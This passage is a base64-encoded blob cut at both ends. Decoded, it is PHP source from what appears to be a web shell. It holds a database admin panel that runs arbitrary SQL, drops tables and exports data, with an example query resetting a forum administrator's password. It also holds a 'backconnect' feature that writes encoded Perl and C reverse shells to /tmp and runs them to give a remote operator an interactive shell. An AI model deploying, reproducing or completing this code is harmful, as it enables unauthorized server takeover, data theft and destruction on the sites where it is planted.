bmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7CgkJCWlmICgkdGFibGVuYW1lKSB7CgkJCQlwKCcgfCBDdXJyZW50IFRhYmxlOiA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJyk7Ij4nLiR0YWJsZW5hbWUuJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdJyk7CgkJCX0KCQkJcCgnPC9wPicpOwoJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgoJCQkkZ2V0bnVtc3FsID0gJyc7CgkJCSRydW5xdWVyeSA9IDA7CgkJCWlmICgkc3FsX3F1ZXJ5KSB7CgkJCQkkcnVucXVlcnkgPSAxOwoJCQl9CgkJCSRhbGxvd2VkaXQgPSAwOwoJCQlpZiAoJHRhYmxlbmFtZSAmJiAhJHNxbF9xdWVyeSkgewoJCQkJJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUiOwoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7CgkJCQkkc3FsX3F1ZXJ5ID0gJHNxbF9xdWVyeS4iIExJTUlUICRzdGFydF9saW1pdCwgJHBhZ2VudW0iOwoJCQkJJGFsbG93ZWRpdCA9IDE7CgkJCX0KCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7CgkJCXAoJzxwPjx0YWJsZSB3aWR0aD0iMjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBjb2xzcGFuPSIyIj5SdW4gU1FMIHF1ZXJ5L3F1ZXJpZXMgb24gZGF0YWJhc2UgPGZvbnQgY29sb3I9cmVkPjxiPicuJGRibmFtZS4nPC9mb250PjwvYj46PEJSPkV4YW1wbGUgVkJCIFBhc3N3b3JkOiA8Zm9udCBjb2xvcj1yZWQ+dmJhdGVhbTwvZm9udD48QlI+PGZvbnQgY29sb3I9eWVsbG93PlVQREFURSBgdXNlcmAgU0VUIGBwYXNzd29yZGAgPSBcJzY5ZTUzZTVhYjk1MzZlNTVkMzFmZjUzM2FlZmM0ZmJlXCcsIHNhbHQgPSBcJ3A1VFwnIFdIRVJFIGB1c2VyaWRgID0gXCcxXCcgPC9mb250PgoJCQk8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOwoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7CgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJCQlwKCRkYmZvcm0pOwoJCQlwKCc8L2Zvcm0+Jyk7CgkJCWlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsKCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsKCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOwoJCQkJCSRyb3dkYiA9IGFycmF5KCk7CgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOwoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsKCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsKCQkJCQlwKCc8L3RyPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydUeXBlJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ051bGwnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRXh0cmEnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPC90cj4nKTsKCQkJCQl9CgkJCQkJdGJmb290KCk7CgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsKCQkJCQkkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsKCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJJHJzID0gYXJyYXkoKTsKCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7CgkJCQkJCXAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7CgkJCQkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7CgkJCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIExJTUlUIDEiKTsKCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJCQkJfQoJCQkJCXAoJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRzZWxmLiciPicpOwoJCQkJCXAoJGRiZm9ybSk7CgkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgewoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxkJ11dKSB7CgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkkdmFsdWUgPSAnJzsKCQkJCQkJfQoJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOwoJCQkJCX0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7CgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsKCQkJCQl9CgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7CgkJCQl9IGVsc2UgewoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7CgkJCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgewoJCQkJCQlpZiAoJHF1ZXJ5KSB7CgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOwoJCQkJCQkJc3dpdGNoKHF5KCRxdWVyeSkpCgkJCQkJCQl7CgkJCQkJCQkJY2FzZSAwOgoJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCWNhc2UgMToKCQkJCQkJCQkJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVyeSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7CgkJCQkJCQkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJCQkJCQkJfQoJCQkJCQkJCQlpZiAoJGdldG51bXNxbCkgewoJCQkJCQkJCQkJJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7CgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICghJHRhYmxlbmFtZSkgewoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOwoJCQkJCQkJCQkJJHNxbF9saW5lID0gcHJlZ19yZXBsYWNlKCIvXC9cKlteKFwqXC8pXSpcKlwvL2kiLCAiICIsICRzcWxfbGluZSk7CgkJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7CgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07CgkJCQkJCQkJCX0KCQkJCQkJCQkJJHJlc3VsdCA9IHEoJHF1ZXJ5KTsKCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsKCQkJCQkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOwoJCQkJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspewoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQkkdHlwZSA9IEBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQlwKCc8L3RyPicpOwoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpewoJCQkJCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOwoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7CgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsKCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOwoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsKCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOwoJCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7CgkJCQkJCQkJCQlwKCRiMSk7CgkJCQkJCQkJCQlwKCc8L3RyPicpOwoJCQkJCQkJCQkJdW5zZXQoJGIxKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQl0YmZvb3QoKTsKCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAyOgoJCQkJCQkJCQkkYXIgPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7CgkJCQkJCQkJCXAoJzxoMj5hZmZlY3RlZCByb3dzIDogPGI+Jy4kYXIuJzwvYj48L2gyPicpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlIHsKCQkJCSRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7CgkJCQkkdGFibGVfbnVtID0gJHRhYmxlX3Jvd3MgPSAkZGF0YV9zaXplID0gMDsKCQkJCSR0YWJsZWRiID0gYXJyYXkoKTsKCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJCQkkZGF0YV9zaXplID0gJGRhdGFfc2l6ZSArICR0YWJsZVsnRGF0YV9sZW5ndGgnXTsKCQkJCQkkdGFibGVfcm93cyA9ICR0YWJsZV9yb3dzICsgJHRhYmxlWydSb3dzJ107CgkJCQkJJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7CgkJCQkJJHRhYmxlX251bSsrOwoJCQkJCSR0YWJsZWRiW10gPSAkdGFibGU7CgkJCQl9CgkJCQkkZGF0YV9zaXplID0gc2l6ZWNvdW50KCRkYXRhX3NpemUpOwoJCQkJdW5zZXQoJHRhYmxlKTsKCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7CgkJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJCQkJcCgkZGJmb3JtKTsKCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7CgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7CgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOwoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7CgkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCX0KCQkJCXAoJzwvdHI+Jyk7CgkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgewoJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7CgkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7CgkJCQkJaWYgKCRoaWdodmVyKSB7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7CgkJCQkJfQoJCQkJCXAoJzwvdHI+Jyk7CgkJCQl9CgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsKCQkJCXAoJzx0ZD4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPHRkPlRvdGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOwoJCQkJcCgnPHRkPicuJHRhYmxlX3Jvd3MuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOwoJCQkJcCgnPHRkIGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8L3RyPicpOwoKCQkJCXAoIjx0ciBjbGFzcz1cImZvdXRcIj48dGQgY29sc3Bhbj1cIiIuKCRoaWdodmVyID8gOCA6IDYpLiJcIj48aW5wdXQgbmFtZT1cInNhdmVhc2ZpbGVcIiB2YWx1ZT1cIjFcIiB0eXBlPVwiY2hlY2tib3hcIiAvPiBTYXZlIGFzIGZpbGUgPGlucHV0IGNsYXNzPVwiaW5wdXRcIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbFwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgLz4gPGlucHV0IGNsYXNzPVwiYnRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImRvd25yYXJcIiB2YWx1ZT1cIkV4cG9ydCBzZWxlY3Rpb24gdGFibGVcIiAvPjwvdGQ+PC90cj4iKTsKCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7CgkJCQlmb3JtZm9vdCgpOwoJCQkJcCgiPC90YWJsZT4iKTsKCQkJCWZyKCRxdWVyeSk7CgkJCX0KCQl9Cgl9Cgl0YmZvb3QoKTsKCUBteXNxbF9jbG9zZSgpOwp9Ly9lbmQgc3FsIGJhY2t1cAoKCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7CgkhJHlvdXJpcCAmJiAkeW91cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgkhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7CgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7CgoJJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLgoJCSJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIi4KCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLgoJCSJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4KCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7CgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4KCQkiQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuCgkJIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLgoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4KCQkic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQyIuCgkJIkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLgoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4KCQkiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOwoKCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7CgkJaWYgKCR1c2UgPT0gJ3BlcmwnKSB7CgkJCWNmKCcvdG1wL2FuZ2VsX2JjJywkYmFja19jb25uZWN0KTsKCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0gZWxzZSB7CgkJCWNmKCcvdG1wL2FuZ2VsX2JjLmMnLCRiYWNrX2Nvbm5lY3RfYyk7CgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2